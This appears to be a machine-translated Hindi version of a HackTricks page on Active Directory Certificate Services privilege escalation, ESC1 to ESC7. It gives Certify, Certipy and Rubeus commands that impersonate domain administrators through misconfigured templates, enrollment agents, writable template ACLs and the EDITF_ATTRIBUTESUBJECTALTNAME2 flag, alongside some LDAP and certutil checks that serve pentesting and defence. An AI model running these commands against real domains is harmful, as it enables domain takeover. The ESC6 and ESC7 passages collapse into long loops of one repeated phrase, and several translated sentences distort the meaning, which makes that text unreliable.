AD CS Domain Escalation

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यह पोस्ट के उन्नति तकनीक खंडों का सारांश है:

गलत रूप से कॉन्फ़िगर किए गए प्रमाणपत्र टेम्पलेट - ESC1

स्पष्टीकरण

गलत रूप से कॉन्फ़िगर किए गए प्रमाणपत्र टेम्पलेट - ESC1 का विवरण

  • उच्च अधिकार वाले उपयोगकर्ताओं को उचित अधिकार उपलब्ध कराए गए हैं उद्यम CA द्वारा।

  • प्रबंधक स्वीकृति की आवश्यकता नहीं है।

  • अधिकृत कर्मचारियों के द्वारा हस्ताक्षर की आवश्यकता नहीं है।

  • प्रमाणपत्र टेम्पलेट पर सुरक्षा विवरण अत्यधिक अनुमति देते हैं, जिससे उच्च अधिकार वाले उपयोगकर्ता अधिकार प्राप्त कर सकते हैं।

  • प्रमाणपत्र टेम्पलेट को प्रमाणीकरण को सुविधा प्रदान करने के लिए कॉन्फ़िगर किया गया है:

  • विस्तारित कुंजी उपयोग (EKU) पहचानकर्ता जैसे क्लाइंट प्रमाणीकरण (OID 1.3.6.1.5.5.7.3.2), PKINIT क्लाइंट प्रमाणीकरण (1.3.6.1.5.2.3.4), स्मार्ट कार्ड लॉगऑन (OID 1.3.6.1.4.1.311.20.2.2), कोई उद्देश्य (OID 2.5.29.37.0), या कोई EKU नहीं (SubCA) शामिल हैं।

  • अनुरोधकर्ताओं को प्रमाणपत्र साइनिंग अनुरोध (CSR) में subjectAltName शामिल करने की अनुमति दी गई है:

  • यदि मौजूद है, तो प्रमाणपत्र में पहचान के लिए Active Directory (AD) subjectAltName (SAN) को प्राथमिकता देता है। इसका मतलब है कि एक CSR में SAN को निर्दिष्ट करके, किसी भी उपयोगकर्ता (जैसे, डोमेन प्रशासक) का प्रतिनिधित्व करने के लिए प्रमाणपत्र का अनुरोध किया जा सकता है। यह दर्शाता है कि क्या अनुरोधकर्ता द्वारा SAN को निर्दिष्ट किया जा सकता है, प्रमाणपत्र टेम्पलेट के AD ऑब्जेक्ट के माध्यम से mspki-certificate-name-flag संपत्ति के माध्यम से। यह संपत्ति एक बिटमास्क है, और CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT झंडा की उपस्थिति अनुरोधकर्ता द्वारा SAN की निर्दिष्टि की अनुमति देती है।

उपरोक्त कॉन्फ़िगरेशन उच्च अधिकार वाले उपयोगकर्ताओं को किसी भी चयनित SAN के साथ प्रमाणपत्र अनुरोध करने की अनुमति देता है, जिससे केरबेरोस या एसचैनल के माध्यम से किसी भी डोमेन प्रिंसिपल के रूप में प्रमाणीकरण संभव होता है।

यह सुविधा कभी-कभी HTTPS या होस्ट प्रमाणपत्रों की त्वरित उत्पादन का समर्थन करने के लिए सक्षम की जाती है, उत्पादों या डिप्लॉयमेंट सेवाओं द्वारा, या समझौते की कमी के कारण।

इसे ध्यान में रखा गया है कि इस विकल्प के साथ प्रमाणपत्र बनाने पर चेतावनी दी जाती है, जो एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे WebServer टेम्पलेट, जिसमें CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT सक्षम है) की तरह नहीं होता है, और फिर उसे डुप्लिकेट किया जाता है और फिर संशोधित किया जाता है एक प्रमाणीकरण OID शामिल करने के लिए।

दुरुपयोग

विकल्प प्रमाणपत्र टेम्पलेट्स को खोजने के लिए आप निम्नलिखित को चला सकते हैं:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

इस कमजोरी का दुरुपयोग करके एडमिनिस्ट्रेटर की भूमिका अभिमानित करने के लिए निम्नलिखित को चलाया जा सकता है:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

फिर आप उत्पन्न प्रमाणपत्र को .pfx प्रारूप में परिवर्तित कर सकते हैं और इसका उपयोग करके Rubeus या certipy का उपयोग करके प्रमाणीकरण कर सकते हैं:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows बाइनरी "Certreq.exe" और "Certutil.exe" का उपयोग PFX उत्पन्न करने के लिए किया जा सकता है: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD Forest के कॉन्फ़िगरेशन स्कीमा में प्रमाणपत्र टेम्प्लेट की जाँच, विशेष रूप से उनमें से जो मंजूरी या हस्ताक्षर की आवश्यकता नहीं है, क्लाइंट प्रमाणीकरण या स्मार्ट कार्ड लॉगऑन EKU वाले होते हैं, और CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT फ्लैग सक्षम हो, तो निम्नलिखित LDAP क्वेरी चलाकर किया जा सकता है:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

गलत रूप से कॉन्फ़िगर किए गए प्रमाणपत्र टेम्प्लेट - ESC2

स्पष्टीकरण

दूसरे दुरुपयोग स्थिति में पहले वाले का एक रूपांतरण है:

  1. उच्च-अधिकारित उपयोगकर्ताओं को उद्यम CA द्वारा पंजीकरण अधिकार प्रदान किए जाते हैं।

  2. प्रबंधक स्वीकृति की आवश्यकता निषेधित की जाती है।

  3. अधिकृत हस्ताक्षरों की आवश्यकता छूट दी जाती है।

  4. प्रमाणपत्र टेम्पलेट पर अत्यधिक अनुमतिपूर्ण सुरक्षा विवरणकारी, जो प्रमाणपत्र पंजीकरण अधिकार उच्च-अधिकारित उपयोगकर्ताओं को प्रदान करता है।

  5. प्रमाणपत्र टेम्पलेट को किसी भी उद्देश्य EKU या कोई EKU शामिल किया गया है।

किसी भी उद्देश्य EKU एक प्रमाणपत्र को प्राप्त करने की अनुमति देता है एक हमलावर द्वारा किसी भी उद्देश्य, सहित क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि। इसी तकनीक का उपयोग ESC3 के लिए इस स्थिति का शोषण करने के लिए किया जा सकता है।

कोई EKU वाले प्रमाणपत्र जो उप-CA प्रमाणपत्र के रूप में कार्य करते हैं, किसी भी उद्देश्य के लिए शोषित किए जा सकते हैं और नए प्रमाणपत्रों के लिए हस्ताक्षर करने के लिए भी उपयोग किए जा सकते हैं। इसलिए, एक हमलावर उप-CA प्रमाणपत्र का उपयोग करके नए प्रमाणपत्रों में विभिन्न EKUs या क्षेत्रों को निर्दिष्ट कर सकता है।

हालांकि, डोमेन प्रमाणीकरण के लिए नए प्रमाणपत्र कार्य करेंगे अगर उप-CA को NTAuthCertificates ऑब्जेक्ट द्वारा विश्वसनीय नहीं माना जाता है, जो कि डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर नए प्रमाणपत्रों को किसी भी EKU और विभिन्न प्रमाणपत्र मानों के लिए निर्दिष्ट कर सकता है। इन्हें संभावित रूप से दुरुपयोग के लिए एक व्यापक उद्देश्यों के लिए (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) और नेटवर्क में अन्य एप्लिकेशनों के लिए महत्वपूर्ण प्रभाव हो सकते हैं जैसे SAML, AD FS, या IPSec।

इस स्थिति के भीतर मेल खाने वाले टेम्पलेटों की जांच करने के लिए AD वन्य कॉन्फ़िगरेशन स्कीमा में, निम्नलिखित LDAP क्वेरी चलाई जा सकती है:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

गलत रूप से कॉन्फ़िगर किए गए इन्रोलमेंट एजेंट टेम्प्लेट - ESC3

स्पष्टीकरण

यह परिदृश्य पहले और दूसरे के समान है, लेकिन एक विभिन्न EKU (सर्टिफिकेट रिक्वेस्ट एजेंट) का दुरुपयोग कर रहा है और 2 विभिन्न टेम्प्लेट है (इसलिए इसमें 2 सेट की आवश्यकताएं हैं),

सर्टिफिकेट रिक्वेस्ट एजेंट EKU (OID 1.3.6.1.4.1.311.20.2.1), जिसे माइक्रोसॉफ्ट दस्तावेज़ में इन्रोलमेंट एजेंट के रूप में जाना जाता है, किसी प्रधान को दूसरे उपयोगकर्ता के लिए सर्टिफिकेट के लिए रजिस्टर करने की अनुमति देता है।

“इन्रोलमेंट एजेंट” ऐसे एक टेम्प्लेट में रजिस्टर करता है और परिणामस्वरूप सर्टिफिकेट का उपयोग करके दूसरे उपयोगकर्ता के लिए CSR को-साइन करता है। फिर यह को-साइन किए गए CSR को सीए को भेजता है, जो एक टेम्प्लेट में रजिस्टर होता है जो “किसी दूसरे के लिए रजिस्टर करने की अनुमति देता है”, और सीए एक सर्टिफिकेट जो “दूसरे” उपयोगकर्ता का है के साथ प्रतिसाद देता है।

आवश्यकताएं 1:

  • उच्च-अधिकारी उपयोगकर्ताओं को उच्च-अधिकारी सीए द्वारा इन्रोलमेंट अधिकार प्रदान किए जाते हैं।

  • प्रबंधक स्वीकृति के लिए आवश्यकता छूट दी गई है।

  • अधिकृत हस्ताक्षर के लिए कोई आवश्यकता नहीं है।

  • सर्टिफिकेट टेम्प्लेट का सुरक्षा विवरण अत्यधिक अनुमति देता है, जिससे उच्च-अधिकारी उपयोगकर्ताओं को इन्रोलमेंट अधिकार प्रदान किए जाते हैं।

  • सर्टिफिकेट टेम्प्लेट में सर्टिफिकेट रिक्वेस्ट एजेंट EKU शामिल है, जो दूसरे प्रधानों के लिए अन्य सर्टिफिकेट टेम्प्लेट का अनुरोध करने की अनुमति देता है।

आवश्यकताएं 2:

  • उच्च-अधिकारी सीए उच्च-अधिकारी उपयोगकर्ताओं को इन्रोलमेंट अधिकार प्रदान करता है।

  • प्रबंधक स्वीकृति को छोड़ दिया गया है।

  • टेम्प्लेट का स्कीमा संस्करण या 1 है या 2 से अधिक है, और यह एक एप्लिकेशन पॉलिसी इश्यूअंस आवश्यकता निर्दिष्ट करता है जो सर्टिफिकेट रिक्वेस्ट एजेंट EKU की आवश्यकता है।

  • सर्टिफिकेट टेम्प्लेट में परिभाषित एक EKU डोमेन प्रमाणीकरण की अनुमति देता है।

  • सीए पर इन्रोलमेंट एजेंटों के लिए प्रतिबंध लागू नहीं है।

दुरुपयोग

आप इस स्थिति का दुरुपयोग करने के लिए Certify या Certipy का उपयोग कर सकते हैं:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

उपयोगकर्ता जिन्हें एनरोलमेंट एजेंट सर्टिफिकेट प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें एनरोलमेंट एजेंट्स को नामांकित करने की अनुमति है, और जिनके पक्ष में एनरोलमेंट एजेंट कार्रवाई कर सकता है, उन्हें उद्यम CA द्वारा प्रतिबंधित किया जा सकता है। इसे certsrc.msc स्नैप-इन खोलकर, CA पर दायाँ क्लिक करके, संपत्तियों पर क्लिक करके, और फिर “एनरोलमेंट एजेंट्स” टैब पर नेविगेट करके प्राप्त किया जा सकता है।

हालांकि, यह दर्जनीय है कि CA के लिए डिफ़ॉल्ट सेटिंग “एनरोलमेंट एजेंट्स को प्रतिबंधित न करें” है। जब एनरोलमेंट एजेंट्स पर प्रतिबंध व्यवस्थापकों द्वारा सक्षम किया जाता है, तो इसे “एनरोलमेंट एजेंट्स को प्रतिबंधित करें” पर सेट करने पर भी, डिफ़ॉल्ट विन्यास अत्यंत अनुमोदनशील रहता है। यह सभी को सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है जैसे कोई भी।

संवेदनशील सर्टिफिकेट टेम्पलेट एक्सेस नियंत्रण - ESC4

व्याख्या

सर्टिफिकेट टेम्पलेट्स पर सुरक्षा विवरण निर्धारित करता है कि टेम्पलेट के संबंध में विशिष्ट AD मुख्य किस प्रमाणों को पास करते हैं।

यदि किसी हमलावर को अनुमतियाँ होती हैं कि वह एक टेम्पलेट को बदल सकता है और पूर्व खंडों में विस्तार से वर्णित किसी भी शोषणीय गलतियों को स्थापित कर सकता है, तो विशेषाधिकार बढ़ाया जा सकता है।

सर्टिफिकेट टेम्पलेट्स के लिए लागू योग्य अनुमतियाँ में शामिल हैं:

  • मालिक: वस्तु पर नियंत्रण की निर्देशिका देता है, जिससे किसी भी विशेषताओं को संशोधित करने की क्षमता होती है।

  • पूर्ण नियंत्रण: वस्तु पर पूर्ण अधिकार देता है, जिसमें किसी भी विशेषताओं को संशोधित करने की क्षमता होती है।

  • लेखनमालिका: वस्तु के मालिक को बदलने की अनुमति देता है जिसे हमलावर के नियंत्रण में एक मुख्य हो।

  • लेखन डेकल: पहुंच नियंत्रणों को समायोजित करने की अनुमति देता है, जिससे हमलावर को पूर्ण नियंत्रण मिल सकता है।

  • लेखन संपत्ति: किसी भी वस्तु गुणों को संपादित करने की अनुमति देता है।

दुरुपयोग

एक पिछले जैसे एक privesc का उदाहरण:

ESC4 एक उपयोगकर्ता के पास सर्टिफिकेट टेम्पलेट पर लेखन अधिकार होने पर होता है। इसे उदाहरण के रूप में उपयोग किया जा सकता है कि सर्टिफिकेट टेम्पलेट की विन्यास को ओवरराइट करने के लिए जिससे टेम्पलेट ESC1 के लिए विकल्पी हो सकता है।

जैसा कि हम ऊपर के पथ में देख सकते हैं, केवल JOHNPC के पास ये अधिकार हैं, लेकिन हमारे उपयोगकर्ता JOHN के पास JOHNPC के लिए नई AddKeyCredentialLink एज है। क्योंकि यह तकनीक सर्टिफिकेटों से संबंधित है, मैंने इस हमला भी लागू किया है, जिसे Shadow Credentials के रूप में जाना जाता है। यहाँ Certipy के shadow auto कमांड का एक छोटा सा झलक।

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy एक एकल कमांड के साथ एक प्रमाणपत्र टेम्पलेट के विन्यास को अधिलेखित कर सकता है। डिफ़ॉल्ट रूप से, Certipy विन्यास को ESC1 के लिए विकल्पित बनाने के लिए विन्यास को अधिलेखित करेगा। हम हमारे हमले के बाद विन्यास को पुनर्स्थापित करने के लिए उपयुक्त होगा।

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

वंशानुगत PKI ऑब्जेक्ट एक्सेस नियंत्रण - ESC5

व्याख्या

जो व्यापक वेब है जिसमें ACL आधारित संबंधों का जाल है, जिसमें प्रमाणपत्र टेम्पलेट्स और प्रमाणपत्र प्राधिकरण से आगे कई वस्तुएँ शामिल हैं, वे सम्पूर्ण एडी सीएस प्रणाली की सुरक्षा पर प्रभाव डाल सकते हैं। ये वस्तुएं, जो सुरक्षा पर प्रभाव डाल सकती हैं, निम्नलिखित हैं:

  • The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy.

  • The RPC/DCOM server of the CA server.

  • Any descendant AD object or container within the specific container path CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container.

The security of the PKI system can be compromised if a low-privileged attacker manages to gain control over any of these critical components.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

विषय CQure Academy पोस्ट में चर्चा किया गया है जो EDITF_ATTRIBUTESUBJECTALTNAME2 ध्वज के परिणामों पर ध्यान देता है, जैसा कि Microsoft द्वारा उल्लिखित किया गया है। यह विन्यास, जब कोई प्रमाणीकरण प्राधिकरण (CA) पर सक्रिय होता है, तो प्रयोक्ता-निर्धारित मान को विषय वैकल्पिक नाम में शामिल करने की अनुमति देता है किसी भी अनुरोध में, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देता है, समावेशित करने की अनुमति देत

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

यह ऑपरेशन मुख्य रूप से दूरस्थ रजिस्ट्री एक्सेस का उपयोग करता है, इसलिए, एक वैकल्पिक दृष्टिकोण हो सकता है:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Tools जैसे Certify और Certipy इस गलत विन्यास का पता लगा सकते हैं और इसका शोषण कर सकते हैं:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

इन सेटिंग्स को बदलने के लिए, माना जाए कि किसी के पास डोमेन प्रशासनिक अधिकार हैं या समकक्ष, तो निम्नलिखित कमांड को किसी भी कार्यस्थल से निष्पादित किया जा सकता है:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

इस कॉन्फ़िगरेशन को अपने वातावरण से अक्षम करने के लिए, ध्वज को हटा दिया जा सकता है:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

मई 2022 सुरक्षा अपडेट के बाद, नई जारी की गई प्रमाणपत्र में एक सुरक्षा एक्सटेंशन शामिल होगा जो अनुरोधकर्ता की objectSid गुणवत्ता को शामिल करेगा। ESC1 के लिए, यह SID निर्दिष्ट SAN से प्राप्त किया जाता है। हालांकि, ESC6 के लिए, SID अनुरोधकर्ता की objectSid को प्रतिबिम्बित करता है, SAN नहीं। ESC6 का शोषण करने के लिए, ESC10 (कमजोर प्रमाणपत्र मैपिंग) के लिए प्रणाली को ESC10 के लिए संवेदनशील होना आवश्यक है, जो नए सुरक्षा एक्सटेंशन के ऊपर SAN को प्राथमिकता देता है

वंशावली प्रमाणपत्र प्राधिकरण एक्सेस नियंत्रण - ESC7

हमला 1

स्पष्टीकरण

सर्टिफिकेट प्राधिकरण के लिए एक्सेस नियंत्रण को सीए क्रियाएँ नियंत्रित करती हैं। ये अनुमतियाँ certsrv.msc तक पहुँचकर देखी जा सकती हैं, एक सीए पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर जाकर। इसके अतिरिक्त, अनुमतियाँ PSPKI मॉड्यूल का उपयोग करके जैसे कमांड के साथ जांची जा सकती हैं:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

यह मुख्य अधिकारों, अर्थात ManageCA और ManageCertificates, के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अधिकारों के अंदर अन्वय करने के लिए प्रमुख अध

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
